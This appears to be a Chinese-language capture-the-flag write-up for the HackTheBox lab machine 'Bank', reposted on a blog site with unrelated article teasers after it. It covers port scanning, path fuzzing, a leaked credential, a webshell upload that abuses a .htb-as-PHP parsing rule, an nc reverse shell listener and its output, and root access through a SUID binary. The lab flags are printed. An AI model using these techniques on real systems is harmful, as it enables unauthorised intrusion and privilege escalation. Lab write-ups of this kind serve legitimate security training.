HTB:Bank[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

提取出靶机TCP开放端口

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用curl对域名进行访问

使用浏览器访问该域名

边界突破

使用ffuf对该域名进行路径FUZZ

访问balance-transfer接口可见大量.acc文件

点击右上角的Size按钮可对文件大小进行升序排列

通过上述凭证登录后,在左侧可见Support栏目

使用Yakit构造请求包发送Webshell

本地侧nc开始监听

权限提升

查看靶机系统内存在的用户

查找当前系统内的SUID文件


连接至HTB服务器并启动靶机

靶机IP:10.10.10.29

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.29 -r 1-65535 --ulimit 5000 | tee res

提取出靶机TCP开放端口
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ','
22,53,80
                                                                                                                                  
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
                                                                                                                                  
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                        
22,53,80

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.29

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.29

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.29

  • 将靶机IP与bank.htb域名进行绑定
sed -i '1i 10.10.10.29 bank.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.29 bank.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head /etc/hosts -n 1
10.10.10.29 bank.htb

使用curl对域名进行访问

curl -I http://bank.htb

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://bank.htb
HTTP/1.1 302 Found
Date: Tue, 07 Jan 2025 09:12:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=1ukl795lkhp59fqphdlk8s7gb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Type: text/html

使用浏览器访问该域名


边界突破

使用ffuf对该域名进行路径FUZZ

ffuf -u http://bank.htb/FUZZ -w ../dictionary/Entire-Dir.txt -t 200

访问balance-transfer接口可见大量.acc文件

点击右上角的Size按钮可对文件大小进行升序排列

  • 点击查看这个与其他.acc文件大小不一样的文件

  • 得到凭证

名称:Christos Christopoulos

邮箱:chris@bank.htb

密码:!##HTBB4nkP4ssw0rd!##

通过上述凭证登录后,在左侧可见Support栏目

  • 点击后可见该页支持文件上传

  • 键盘按Ctrl+U查看该页原码

  • 由该页注释可知,.htb文件可充当.php文件进行解析

使用Yakit构造请求包发送Webshell

  • My Tickets栏目中可见文件成功上传

本地侧nc开始监听
rlwrap -cAr nc -lvnp 1425
  • 直接点击Click Here访问Webshell文件,本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425                       
listening on [any] 1425 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.10.29] 45632
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 13:09:56 up  3:20,  0 users,  load average: 0.37, 0.09, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • 提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

权限提升

查看靶机系统内存在的用户

cat /etc/passwd

  • 当前用户权限可以直接查看chris下的flag文件

www-data@bank:/$ find / -name 'user.txt' -type f 2>/dev/null
find / -name 'user.txt' -type f 2>/dev/null
/home/chris/user.txt
www-data@bank:/$ cat /home/chris/user.txt
cat /home/chris/user.txt
8fc44025442af344df63cad1c33e35c8

查找当前系统内的SUID文件

find / -perm -4000 -type f -ls 2>/dev/null

  • 直接运行/var/htb/bin/emergency文件即可提权至root用户

www-data@bank:/$ /var/htb/bin/emergency
/var/htb/bin/emergency
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root

  • 在/root目录下找到root.txt文件

# find / -name 'root.txt' -type f
find / -name 'root.txt' -type f
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
38e39916caa580e4ffaee0a6379444c9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/949927.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

操作手册:集成钉钉审批实例消息监听配置

此文档将记录在慧集通平台怎么实现钉钉审批实例结束或发起或取消时,能够实时的将对应的实例数据抓取出来送入第三方系统 集成平台配置 1、配置中心库,存储钉钉发送的消息,可以忽略,若不配置,则钉钉的消息将不再记录到…

【C++】B2118 验证子串

博客主页: [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 💯前言💯题目概述题目描述输入格式输出格式输入输出样例样例 1样例 2 题目提示 💯解决方案分析初步分析与思路 💯我的代码实现与分析代码回顾实现逻辑与优缺…

68.基于SpringBoot + Vue实现的前后端分离-心灵治愈交流平台系统(项目 + 论文PPT)

项目介绍 本系统将严格按照软件开发流程进行各个阶段的工作,采用B/S架构,面向对象编程思想进行项目开发。在引言中,作者将论述心灵治愈交流平台的当前背景以及系统开发的目的,后续章节将严格按照软件开发流程,对系统进…

【分布式缓存】一致性Hash原理剖析,一致性Hash与Hash的区别(详解)

文章目录 Hash算法Hash算法的缺陷一致性Hash算法一致性Hash存储规则一致性Hash解决Hash的缺陷问题一致性Hash的偏斜问题一致性哈希在实际中的应用总结 更多相关内容可查看 假设有一个场景:有三万张图片,有三台服务器S0,S1,S2 要求…

Clisoft SOS与CAD系统集成

Clisoft SOS与CAD系统集成 以下内容大部分来自官方文档,目前只用到与Cadence Virtuoso集成,其他还未用到,如有问题或相关建议,可以留言。 与Keysight ADS集成 更新SOS客户端配置文件sos.cfg,以包含支持ADS的模板&am…

Java-数据结构-链表-高频面试题(1)

在上一篇文章中,我们学习了链表中的"单向链表",但学可不代表就是学会了,能够运用链表的地方比比皆是,解题方法也是层出不穷,今天就让我们巩固一下"单向链表"的知识吧~ 第一题:相交链表…

JVM实战—OOM的定位和解决

1.如何对系统的OOM异常进行监控和报警 (1)最佳的解决方案 最佳的OOM监控方案就是:建立一套监控平台,比如搭建Zabbix、Open-Falcon之类的监控平台。如果有监控平台,就可以接入系统异常的监控和报警,可以设置当系统出现OOM异常&…

照片做成图书小程序开发制作介绍

照片做成图书小程序系统,主要是让用户直接通过小程序选择需要做成书的类型和照片排版布局模板,以及上传照片的数量。照片上传完成后,生成模板图片样式进行预览或编辑修改。修改完成全部保存。保存后生成完整的照片书进行预览没问题&#xff0…

云商城--业务+架构学习和环境准备

云商城业务架构学习和环境准备 B2B:Business to Business,交易双方的身份都是商家,也就是商家将商品卖给商家,类似采购、批发类购物,国内代表性网站阿里巴巴批发网 C2C:Customer to Customer,…

Elasticsearch:Lucene 2024 年回顾

作者:来自 Elastic Chris Hegarty 2024 年对于 Apache Lucene 来说又是重要的一年。在本篇博文中,我们将探讨主要亮点。 Apache Lucene 在 2024 年表现出色,发布了许多版本,包括三年来的首次重大更新,其中包含令人兴奋…

基于LabVIEW的BeamGage自动化接口应用

设置 National Instruments LabVIEW可执行程序需要被配置为使用.NET 4框架。.NET允许自定义可执行程序的运行方式。可通过以下方式实现: 在LabVIEW安装目录中创建一个名为LabVIEW.exe.config的文本文件(例如:C:\Program Files\National Ins…

卸载干净 IDEA(图文讲解)

目录 1、卸载 IDEA 程序 2、注册表清理 3、残留清理 1、卸载 IDEA 程序 点击屏幕左下角 Windows 图标 -> 设置-控制面板->intellij idea 勾选第一栏 Delete IntelliJ IDEA 2022.2 caches and local history,表示同时删除 IDEA 本地缓存以及历史。 Delete I…

李宏毅机器学习课程笔记02 | 机器学习任务攻略General Guide

第一步:分析loss on training data 先检查在训练数据上模型是否很好的学习 情况1:如果在训练集上,loss很大,说明在训练资料上没有训练好 可能性1:设置的模型太简单了,模型存在model bias模型偏差&#x…

【C++】19.多态

文章目录 1. 多态的概念2. 多态的定义及实现2.1 多态的构成条件2.1.1 实现多态还有两个必须重要条件:2.1.2 虚函数 (Virtual Function)定义:特性:示例代码:代码分析1. 类定义部分2. 主函数部分运行结果 重点讲解1. 虚函数的作用2.…

光伏仿真与设计系统应用架构深度剖析

在光伏产业蓬勃发展的时代背景下,绿虫光伏仿真与设计系统成为推动其高效发展的核心力量。其应用架构涵盖多个关键步骤,每个环节都紧密相扣,共同构建起精准且高效的设计体系。 气象分析作为开篇之笔,起着基石般的重要作用。系统全…

进程间通讯

简介: 进程间通讯方式有: 1.内存映射(mmap): 使用mmap函数将磁盘空间映射到内存 2.管道 3.信号 4.套接字(socket) 5.信号机制 通过进程中kill函数,去给另一个函数发送信号&a…

空压机接入配置实例:利用 MODBUS - TCP 转 Ethernet IP 网关实现连接

在工业自动化生产环境中,空压机作为重要的气源设备,其稳定运行和有效监控对于整个生产流程至关重要。然而,不同厂家生产的空压机可能采用不同的通信协议,这给集中监控和管理带来了挑战。在本次案例中,我们遇到的空压机…

基于 Boost.Asio 和 Boost.Beast 的异步 HTTP 服务器(学习记录)

已完成功能: 支持 GET 和 POST 请求的路由与回调处理。 解析URL请求。 单例模式 管理核心业务逻辑。 异步 I/O 技术和 定时器 控制超时。 通过回调函数注册机制,可以灵活地为不同的 URL 路由注册处理函数。 1. 项目背景 1.1 项目简介 本项目是一个基于…

Harmony开发【笔记1】报错解决(字段名写错了。。)

在利用axios从网络接收请求时,发现返回obj的code为“-1”,非常不解,利用console.log测试,更加不解,可知抛出错误是 “ E 其他错误: userName required”。但是我在测试时,它并没有体现为空,…

Spring源码分析之事件机制——观察者模式(二)

目录 获取监听器的入口方法 实际检索监听器的核心方法 监听器类型检查方法 监听器的注册过程 监听器的存储结构 过程总结 Spring源码分析之事件机制——观察者模式(一)-CSDN博客 Spring源码分析之事件机制——观察者模式(二&#xff…